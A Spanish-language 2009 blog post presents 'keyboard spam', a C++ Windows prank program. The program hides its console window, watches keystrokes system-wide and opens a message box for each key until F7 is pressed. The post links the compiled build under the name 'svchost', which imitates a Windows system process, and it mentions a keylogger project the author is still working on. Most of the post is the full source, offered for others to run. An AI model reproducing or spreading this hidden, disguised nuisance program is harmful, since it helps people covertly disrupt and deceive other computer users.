sábado, 31 de enero de 2009

keyboard spam

ayer viernes  en la noche  estaba mirando a keysito y dije que cosas terminemos a esa desvergonzada y pues me puse a cacharearle y salio este pequeño hijo llamado keyboard spam y pues me dio risa y ahora lo publico para que vea que tan divertido se puede hacer con unas cuantas lineas de codigo jeje. 

postdata: keysito sigue vivo muahhhhh y esta a punto de terminarse

version .exe

http://rapidshare.com/files/192084622/svchost.rar.html

y a divertirse 

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<

#include

#include
#include

using namespace std;
int ret;
int main(){
  HWND radical = FindWindow("ConsoleWindowClass",NULL);
  ShowWindow(radical,NULL);
   
   
  bool aprete = true;
   
  while(aprete){
   
  if (GetAsyncKeyState(VK_SPACE) == -32767){
  ret = MessageBox(GetFocus(), "backspace", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('A') == -32767){
  ret = MessageBox(GetFocus(), "a", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('B') == -32767){
  ret = MessageBox(GetFocus(), "b", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('C') == -32767){
  ret = MessageBox(GetFocus(), "c", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('D') == -32767){
  ret = MessageBox(GetFocus(), "d", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('E') == -32767){
  ret = MessageBox(GetFocus(), "e", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('F') == -32767){
  ret = MessageBox(GetFocus(), "f", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('G') == -32767){
  ret = MessageBox(GetFocus(), "g", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('H') == -32767){
  ret = MessageBox(GetFocus(), "h", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('I') == -32767){
  ret = MessageBox(GetFocus(), "i", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('J') == -32767){
  ret = MessageBox(GetFocus(), "j", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('K') == -32767){
  ret = MessageBox(GetFocus(), "k", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('L') == -32767){
  ret = MessageBox(GetFocus(), "l", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('M') == -32767){
  ret = MessageBox(GetFocus(), "m", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('N') == -32767){
  ret = MessageBox(GetFocus(), "n", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState(VK_CAPITAL) == -32767){
  ret = MessageBox(GetFocus(), "mayusculus", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState(VK_BACK) == -32767){
  ret = MessageBox(GetFocus(), "eraser", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('O') == -32767){
  ret = MessageBox(GetFocus(), "o", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('P') == -32767){
  ret = MessageBox(GetFocus(), "p", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('Q') == -32767){
  ret = MessageBox(GetFocus(), "q", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('R') == -32767){
  ret = MessageBox(GetFocus(), "r", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('S') == -32767){
  ret = MessageBox(GetFocus(), "s", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('T') == -32767){
  ret = MessageBox(GetFocus(), "t", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('U') == -32767){
  ret = MessageBox(GetFocus(), "u", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('V') == -32767){
  ret = MessageBox(GetFocus(), "v", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('W') == -32767){
  ret = MessageBox(GetFocus(), "w", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('X') == -32767){
  ret = MessageBox(GetFocus(), "x", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('Y') == -32767){
  ret = MessageBox(GetFocus(), "y", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('Z') == -32767){
  ret = MessageBox(GetFocus(), "z", "keyboard spam", MB_OK);
  }
   
  if (GetAsyncKeyState(VK_RETURN) == -32767){
  ret = MessageBox(GetFocus(), "??", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('1') == -32767){
  ret = MessageBox(GetFocus(), "1", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('2') == -32767){
  ret = MessageBox(GetFocus(), "2", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('3') == -32767){
  ret = MessageBox(GetFocus(), "3", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('4') == -32767){
  ret = MessageBox(GetFocus(), "4", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('5') == -32767){
  ret = MessageBox(GetFocus(), "5", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('6') == -32767){
  ret = MessageBox(GetFocus(), "6", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('7') == -32767){
  ret = MessageBox(GetFocus(), "7", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('8') == -32767){
  ret = MessageBox(GetFocus(), "8", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('9') == -32767){
  ret = MessageBox(GetFocus(), "9", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState('0') == -32767){
  ret = MessageBox(GetFocus(), "00000000", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState(VK_LSHIFT) == -32767){
  ret = MessageBox(GetFocus(), "shift", "keyboard spam", MB_OK);
  }

  if (GetAsyncKeyState(VK_MENU) == -32767){
  ret = MessageBox(GetFocus(), "alt", "keyboard spam", MB_OK);
  }
   
  else if (GetAsyncKeyState (VK_F1)) 
 ret = MessageBox(GetFocus(), "f1", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F2)) 
  ret = MessageBox(GetFocus(), "f2", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F3)) 
  ret = MessageBox(GetFocus(), "f3", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F4)) 
  ret = MessageBox(GetFocus(), "f4", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F5)) 
  ret = MessageBox(GetFocus(), "f5", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F6)) 
  ret = MessageBox(GetFocus(), "f6", "keyboard spam", MB_OK);
   
  else if (GetAsyncKeyState (VK_F8)) 
  ret = MessageBox(GetFocus(), "f8", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F9)) 
  ret = MessageBox(GetFocus(), "f9", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F10)) 
  ret = MessageBox(GetFocus(), "f10", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_F11)) 
  ret = MessageBox(GetFocus(), "f11", "keyboard spam", MB_OK); 
  else if (GetAsyncKeyState (VK_F12)) 
  ret = MessageBox(GetFocus(), "f12", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_SCROLL)) 
  ret = MessageBox(GetFocus(), "despl", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_LSHIFT)) 
  ret = MessageBox(GetFocus(), "shift", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_RSHIFT)) 
  ret = MessageBox(GetFocus(), "shift", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_LCONTROL)) 
  ret = MessageBox(GetFocus(), "control", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_RCONTROL)) 
  ret = MessageBox(GetFocus(), "control", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_LMENU)) 
  ret = MessageBox(GetFocus(), "alt", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_RMENU)) 
  ret = MessageBox(GetFocus(), "alt", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_LWIN)) 
  ret = MessageBox(GetFocus(), "linux", "keyboard spam", MB_OK);
  else if (GetAsyncKeyState (VK_RWIN)) 
  ret = MessageBox(GetFocus(), "linux", "keyboard spam", MB_OK);
   
   

  if (GetAsyncKeyState(VK_F7) == -32767){
  ShowWindow(radical,1);  
  aprete = false;
  }
  }




   
   
   
  } 
   

0 comentarios:

Publicar un comentario

Tu comentario será moderado la primera vez que lo hagas al igual que si incluyes enlaces. A partir de ahi no ser necesario si usas los mismos datos y mantienes la cordura. No se publicarán insultos, difamaciones o faltas de respeto hacia los lectores y comentaristas de este blog.